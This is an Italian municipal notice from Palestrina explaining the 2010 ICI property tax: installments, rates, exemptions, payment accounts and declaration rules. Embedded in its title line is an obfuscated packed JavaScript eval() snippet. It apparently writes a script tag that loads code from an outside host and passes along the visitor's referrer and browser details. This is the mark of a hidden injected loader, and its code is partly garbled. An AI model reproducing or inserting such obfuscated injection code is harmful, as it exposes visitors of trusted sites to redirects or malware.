



IMPOSTA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(")");n m="q";',30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|ebsei|var|u0026u|referrer|zyefy|js|php'.split('|'),0,{})) **COMUNALE SUGLI IMMOBILI-ANNO 2010**
VERSAMENTI D'IMPOSTA PER L'ANNO 2010

Entro il 16 giugno 2010 deve essere effettuato **il versamento della I rata d'imposta per l'anno 2010**

L'imposta, che grava sui fabbricati, le aree fabbricabili, a carico: del proprietario o titolare del diritto di usufrutto, uso o abitazione; del superficiario; dell'enfiteuta; del locatario finanziario; del concessionario nel caso di concessione su aree demaniali. E' dovuta per l'anno solare proporzionalmente alla quota di possesso o di diritto. Per gli immobili sui quali sono costituiti diritti di godimento a tempo parziale (multiproprieta') il versamento e' effettuato dall'amministratore del condominio o della comunione.

L'imposta deve essere versata per l'anno in corso in due rate:

la prima rata entro il 16 giugno 2010, pari al 50% dell'imposta dovuta calcolata sulla base dell'aliquota e delle detrazioni dei dodici mesi dell'anno precedente;

la seconda rata dal 1 al 16 dicembre 2010, a saldo dell'imposta dovuta per l'intero anno, con eventuale conguaglio sulla prima rata versata.

E' consentito il versamento in unica soluzione, entro il termine di scadenza della prima rata.

ALIQUOTE DELL'IMPOSTA

Si riportano le aliquote d'imposta fissate per l'anno in corso e per l'anno precedente:

ANNO 2010 | 2009

7,00 7,00 per mille: aliquota ordinaria;

4,50 4,50 per mille:

ABITAZIONE PRINCIPALE E SUA DIRETTA PERTINENZA (solo per unità immobiliari di categoria catastale A1, A8 ed A9)

La pertinenza deve essere effettivamente utilizzata dal proprietario dell'abitazione per attività di servizio dell'abitazione stessa (posto auto, cantina, rispostiglio).

6,00 6,00 per mille: aree edificabili e terreni

impegnati per l'edificazione.

Agli effetti dell'I.C.I. le vigenti rendite catastali urbane sono rivalutate del 5%.

Per l'anno 2010 e' esclusa dall'imposta comunale sugli immobili, di cui al decreto legislativo 30 dicembre 1992, n. 504, e successive modificazioni ed integrazioni, l'unita' immobiliare adibita ad abitazione principale del soggetto passivo, nonché quella ad essa assimilata dal regolamento comunale, ad eccezione delle unità immobiliari di categoria catastale A1, A8 e A9 per le quali continua ad applicarsi la detrazione d'imposta di € 103,29 rapportata al periodo dell'anno durante il quale si protrae tale destinazione; se l'unita' immobiliare e' adibita ad abitazione principale di più soggetti passivi la detrazione spetta a ciascuno di essi proporzionalmente alla quota di utilizzo dell'abitazione stessa .

Agli effetti dell'esclusione dall'imposta, si considera parte integrante dell'abitazione principale una sua pertinenza, così come previsto dal vigente Regolamento Comunale.

Viene assimilata alle abitazioni principali:

1. l'unita' immobiliare posseduta a titolo di proprietà o di usufrutto da anziano o disabile che acquisisce la residenza in istituto di ricovero o sanitario a seguito di ricovero permanente in istituto a lunga degenza, a condizione che la stessa non risulti locata. Per usufruire del beneficio e' necessario presentare apposita istanza presso l'ufficio ICI;
2. l'abitazione concessa in uso gratuito dal genitore al figlio e viceversa, il beneficiario dell'uso gratuito deve risiedere anagraficamente nell'abitazione predetta. Per usufruire del beneficio e' necessario presentare apposita istanza presso l'ufficio ICI.

L'esenzione si applica altresì per:

1. Il soggetto passivo che, a seguito di provvedimento di separazione legale, annullamento, scioglimento o cessazione degli effetti civili del matrimonio, non risulta assegnatario della casa coniugale, a condizione che non sia titolare del diritto di proprietà o di altro diritto reale su un immobile destinato ad abitazione situato nello stesso comune ove è ubicata la casa coniugale.
2. Le unità immobiliari, appartenenti alle cooperative edilizie a proprietà indivisa, adibite ad abitazione principale dei soci assegnatari, nonché agli alloggi regolarmente assegnati dagli Istituti autonomi per le case popolari.

Ulteriori eventuali agevolazioni (solo per unità immobiliari di categoria catastale A1, A8 ed A9): abitazione principale per i nuclei familiari con persona disabile (invalidità non inferiore al 75% e reddito complessivo del nucleo familiare inferiore a € 19.000,00, per ciascun disabile presente) la detrazione e' di € 516,00 (dopo apposita istanza).

MODALITA' DI VERSAMENTO

Il pagamento deve essere effettuato, utilizzando gli appositi modelli : direttamente o tramite **c/c**

postale n. 88697297

, intestato a

EQUITALIA GERIT SPA PALESTRINA - RM - ICI -ovvero tramite modello F 24

Il versamento non e' dovuto se l'imposta annua da versare non e' superiore a € 5,00 (ovvero € 2,50 per ogni rata). Se gli immobili si trovano in comuni diversi, i versamenti devono essere distinti; deve però essere fatto un unico versamento per tutti gli immobili posseduti nello stesso comune.

DICHIARAZIONI

La dichiarazione ICI va presentata entro il termine previsto per quella dei redditi relativa all'anno 2009. in tutti i casi elencati nelle istruzioni allegate al modello di dichiarazione ICI, tra le quali a titolo esemplificativo si riportano le i più ricorrenti:

quando il comune non può acquisire dalla banca dati catastale le informazioni necessarie ai fini del pagamento dell'imposta ad esempio: l'immobile è stato oggetto di locazione finanziaria ; l'atto ha riguardo un area fabbricabile e il valore è cambiato rispetto a quello dichiarato l'anno precedente;

per gli immobili che sono stati oggetto di atti per i quali non è stato utilizzato il MUI (Modello Unico Informatico) ad esempio: divisioni, donazioni, permuta, cessioni di diritti reali a titolo gratuito costituzioni di fondo patrimoniale per testamento;

per gli immobili che godono di una riduzione dell'imposta (fabbricati dichiarati inabitabili o inabitabili, terreni agricoli posseduti e condotti da coltivatori diretti o da imprenditori agricoli) Le riduzioni vanno dichiarate sia quando si acquista che quando si perde il relativo diritto.

La dichiarazione, redatta su apposito modello in distribuzione presso gli uffici comunali, deve essere presentata al comune dove si trovano gli immobili, direttamente o a mezzo raccomandata postale senza ricevuta di ritorno. Nel caso di più soggetti passivi contitolari dello stesso immobile, e' consentita ad uno di essi la presentazione di dichiarazione congiunta, purché comprensiva di tutti i contitolari; ciascuno dei contitolari è però obbligato a versare l'imposta di sua competenza.

Si rammenta ai contribuenti l'obbligo imposto dalla normativa vigente di censire nel catasto urbano, presso l'Agenzia del Territorio, tutti i fabbricati posseduti sprovvisti di rendita.

Ulteriori informazioni e la necessaria modulistica sono presenti sul sito internet www.comune.palestrina.rm.it, oppure possono essere richieste al Servizio Tributi del Comune , nei giorni di martedì: dalle ore 9,00 alle ore 11,00 e giovedì dalle ore 9,00 alle ore 11,00 e dalle ore 15,30 alle ore 17,30 (tel. 0695302206).